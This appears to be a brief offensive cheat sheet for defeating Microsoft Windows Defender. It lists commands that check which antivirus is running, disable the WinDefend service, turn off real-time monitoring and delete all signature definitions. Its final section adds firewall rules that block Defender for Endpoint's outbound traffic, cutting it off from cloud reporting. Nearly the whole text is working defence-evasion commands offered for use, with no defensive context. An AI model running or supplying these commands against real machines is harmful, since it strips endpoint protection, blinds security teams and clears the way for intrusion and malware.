Microsoft Windows Defender

Check if AV running:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
Get-MpComputerStatus 

Disable Defender

sc config WinDefend start= disabled
sc stop WinDefend
# Powershell
Set-MpPreference -DisableRealtimeMonitoring $true
# Remove definitions
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Defender for endpoint restrict to local signatures

New-NetFirewallRule -DisplayName "Block 443 MsMpEng" -Name "Block 443 MsMpEng" -Direction Outbound -Service WinDefend -Enabled True -RemotePort 443 -Protocol TCP -Action Block

New-NetFirewallRule -DisplayName "Block 443 SenseCncProxy" -Name "Block 443 SenseCncProxy" -Direction Outbound -Program "%ProgramFiles%\Windows Defender Advanced Threat Protection\SenseCncProxy.exe" -RemotePort 443 -Protocol TCP -Action Block

New-NetFirewallRule -DisplayName "Block 443 MsSense" -Name "Block 443 MsSense" -Direction Outbound -Program "%ProgramFiles%\Windows Defender Advanced Threat Protection\MsSense.exe" -RemotePort 443 -Protocol TCP -Action Block